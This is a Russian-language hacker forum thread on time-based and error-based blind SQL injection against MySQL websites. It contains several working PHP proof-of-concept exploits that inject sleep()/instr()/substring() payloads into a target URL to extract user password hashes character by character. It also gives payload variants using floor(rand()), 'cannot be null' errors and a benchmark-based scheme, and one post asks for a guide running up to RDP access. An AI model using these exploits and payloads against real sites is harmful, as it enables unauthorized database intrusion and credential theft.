1-2. Да, конечно для каждого сервера надо будет смотреть на время ответа. Спорить не стану - лучше сначала проверить на конкретном сплойте, пока что это на уровне локалхоста всё работает идеально. 3. Хм, я думаю, что дос-эффект от sleep() много меньше, чем от benchmark(). А какие ты проводил эксперименты? Можно поподробнее? Т.е. хеш выдёргивался неправильно, были сильные погрешности?
Ну если на примере sleep() + find_in_set(), то думаю ты понял как выглядит запрос. Так вот, допустим сервант отстоял энное время, НО, это время просто в очень редких случаях(фактически локалхост онли) будет совпадать с позицией искомого символа. Т.к. к времени простоя сервера в зависимости от позиции символа, ещё добавляются: 1. Остальные sql запросы, которые были до нашего запроса или же будут после него. Что уже сбивает время. 2. Время загрузки клиентом всей страницы сайта, что бы там нибыло. Опять же сбои во времени. Тут никак не подсчитать и не сделать универсальный эксплойт. Можно конечно дрочить на каждом сервере довольно долго что б потом ориентироваться по знаменателям и прочим, но это всё займет очень много времени, а есть способы гораздо быстрее, пусть и большее кол-во запросов. PS Идеально такой способ у меня отработал на локалхосте и одном серванте с широким каналом и незагруженной бд, куда я залил бажный скрипт для теста. В обычных же полевых условиях, всегда был фейл.
Главная заморочка тут с 1-2, т.к. в любом случае нужно замерять среднее время ответа от сервера, а оно может сильно различаться на разных запросах. По поводу п. 3 - в дос сервер от sleep не уйдёт. Реально нужно вводить коэффициенты, т.е. sleep(N)*delta, где delta - вычисляемое время зависящее от времени ответа сервера. Но в таком случае на некоторые символы (при 32 запросах на хеш) будет уходить слишком много времени. Запросов будет меньше, но время работы - существенно больше. З.Ы. Для примера можешь посмотреть вот это: http://qwazar.ru/?p=35 .
Шаблонный PoC-сплойт к посту #22. Жду предложений по улучшению и результаты тестов. На реальном движке не тестил, можно подогнать под любой. Смотреть на Pastebin PHP: <?php //SLEEP()+INSTR() SQL-Injection //Корявоватый сплойт от Root-access $url = "http://site.ru/news.php?id=1"; $id = 0; function testtime($url) { $time = time()+microtime(); file_get_contents($url); return time()+microtime()-$time; } echo "Test time: ".$testtime=testtime($url)."<br>"; $sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'); $res = ""; for($i=1;$i<33;$i++) { $time = time()+microtime(); file_get_contents("$url+and+sleep(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1)))"); $res = $res.$sym[round(time()+microtime()-$time-$testtime)-1]; } echo "Hash: ".$res; ?>
Root-access, не введёшь дельту - результат будет недостоверным. Введёшь - ждать будешь долго (существенно дольше стандартного бин.поиска). В данном случае подобным PoC нельзя ограничиваться.
если подобрать дельту достаточной величины, то можно будет и погрешности реальной сети рассчитать, ну или делать одинаковый запрос несколько раз и брать средневзвешенное значение.
Тут возникли некоторые вопросы по поводу мотивировок использования этого метода. Метод с find_in_set без sleep() неприменим в абсолютно слепых скулях, там, где нет вообще никакого вывода контента, то есть при различных id контент будет одним и тем же. А метод с benchmark() сильно грузит сервер. Сделал увеличение шага между позициями в дельту (в данном примере 2). (pastebin) PHP: <?php $url = "http://site.ru/news.php?id=1"; $id = 0; function testtime($url) { $time = time()+microtime(); file_get_contents($url); return time()+microtime()-$time; } echo "Test time: ".$testtime=testtime($url)."<br>"; $sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'); $res = ""; for($i=1;$i<33;$i++) { $time = time()+microtime(); file_get_contents("$url+and+sleep(2*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))"); $res = $res.$sym[round((time()+microtime()-$time-$testtime)/2-1)]; } echo "Hash: ".$res; ?> Ещё вариант с заменой учёта погрешности сложением на умножение. В такой реализации почему-то появились ошибки... (pastebin) PHP: <?php $url = "http://site.ru/news.php?id=1"; $id = 0; function avrg($arr) { foreach ($arr as $val) { $sum+=$val; } return $sum/count($arr); } function delta($url) { $tests = array(); for($i=0;$i<1;$i++) { $time = time()+microtime(); file_get_contents("$url+and+sleep(1)"); $tests[$i] = time()+microtime()-$time; } return 1/avrg($tests); } echo "Test time: ".$delta=delta($url)."<br>"; $sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'); $res = ""; for($i=1;$i<33;$i++) { $time = time()+microtime(); file_get_contents("$url+and+sleep(instr(2*(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))"); $res = $res.$sym[round($delta*(time()+microtime()-$time)/2)]; } echo "Hash: ".$res; ?>
По советам сделал улучшенную версию с вычисляемой дельтой. Нужно ли ещё обтесать алгоритм? Pastebin PHP: <?php $url = "http://site.ru/news.php?id=1"; //URL запроса до "+AND+..." $id = 0; //Номер пользователя $coef = 2; //Множитель $try = 5; //Кол-во проверочных запросов function avrg($arr) { foreach ($arr as $val) { $sum+=$val; } return $sum/count($arr); } function delta($url) { $tests = array(); for($i=0;$i<=$try;$i++) { $time = time()+microtime(); file_get_contents("$url+and+sleep(1)"); $tests[$i] = time()+microtime()-$time; } return avrg($tests); } function testtime($url) { $time = time()+microtime(); file_get_contents($url); return time()+microtime()-$time; } $delta = round($coef*delta($url)); $testtime=testtime($url); echo "<b>Blind SQL-Injection pattern PoC-exploit by Root-access</b><br>"; echo "Request type: $url+and+sleep(substring(version(),1,1))<br>"; echo "Test time: $testtime<br>"; $sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'); $res = ""; for($i=1;$i<33;$i++) { $time = time()+microtime(); file_get_contents("$url+and+sleep($delta*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+$id,1),$i,1))))"); $res = $res.$sym[round((time()+microtime()-$time-$testtime)/$delta-1)]; } echo "Hash: ".$res; ?>
не актуальный ресерч по методу 12 ошибок. т.к. кол-во приведеных ошибок крайне мало, возникла идея "динамического" использования рантайм ошибок mysql, которые могут содержать информацию от клиента, для примера я взял error column 'xxx' cannot be null forum.antichat.ru/showpost.php?p=1716996&postcount=18 если использовать not null колонки в конкатенации с необходимым диапазоном символов, можно составить универсальный (но длинный'() запрос на основе 1 ошибки вот конкретная реализация для всех символов из диапазона [0..9],[A..Z],[a..z] Column 'user-0x72' cannot be null, 0x72 = r (root) т.е. в зависимости от результата подзапроса возвращается n-ая ошибка содержащая n-ый символ, -47 - ascii(0)-1 (подгонка под функцию elt) итого: 1 запрос к бд и огромные лог файлы на сервере => помидорами не закидывать
Уважаемые профи, спс за ваши усилия в развитии новых методов. Вот все прекрасно обьяснили, но как то никто не прояснил про load_file через floor rand и name_const Сегодня было дело прочест файли при условии floor и тока v1d0qz посоветовал как делать load_file(огромный респект ему). Если вам не составит труда напишите одну норм статью или тутор чтоб охватило всё что касается эксплуатации через Floor & Name_const и чтоб прояснили можно ли делать into outfile и другие способы. Я еще нигде не видел подобных статей который начали с 0 до открытия скажем рдп. Имеется ввиду тока эти два метода вывода через ошибок. Если не хотите чтоб эти методы опубликовалис на всем инете на разных языках и разработчики придумали новые методи защиты(хз может уже придумали) то просто сделайте по одному примеру с каждого запроса маленким обьяснением тут. PS. это будет хорошым ответом на многие вопросы в разделе Ваши вопросы по уязвимостьям так как много там вопросов про те методы. Спс думаю не нарушил правило
Малюсенькое дополнение по error based инъекциям на основе rand. Вместо floor(rand(0)*2) можно использовать rand(0)|0, rand(0)&1 или rand(0)^0. (& в get запросах отправлять как %26). На случай, если каждый символ на счету, а запросы при такой инъекции не маленькие )
Blind SQL + Benchmark (2 запроса на символ) Допустим у нас есть слепая скуля (но такая, что хоть какой-то вывод возможен), на что можем влиять: страничка: 1) страница приходит в обычном состоянии (false) 2) страница приходит изменённой (true) ответ от сервера: 1) пришёл сразу (false) 2) пришёл с задержкой (true) Таким образом, влияя на эти 2 параметра, можно задать 4 состояния Делаем вот что: 1) Берём алфавит (допустим 0123456789abcdef), и делим его на 4 группы (0123),(4567),(89ab),(cdef). 2) Составляем табличку истинности: №|A|B _|_|_ 1|0|0 2|0|1 3|1|0 4|1|1 где: № - номер группы к которой принадлежит данный символ, A - изменить ответ или нет B - включать бенчмарк или нет 3) Вычисляем при помощи find_in_set номер группы к которой принадлежит данный символ, кодируем его согласно таблице выше 4) на клиенте получаем группу символов, в качестве алфавита уже берём только её и идём на шаг 1. Т.е. для хеша md5 на каждый символ потребуется 2 запроса. (По теории вероятности бенчмарк сработает лишь на половине из них, т.е. в принципе работать должно быстро) Практическая часть и реализация тут: https://rdot.org/forum/showthread.php?t=245&page=2#post1938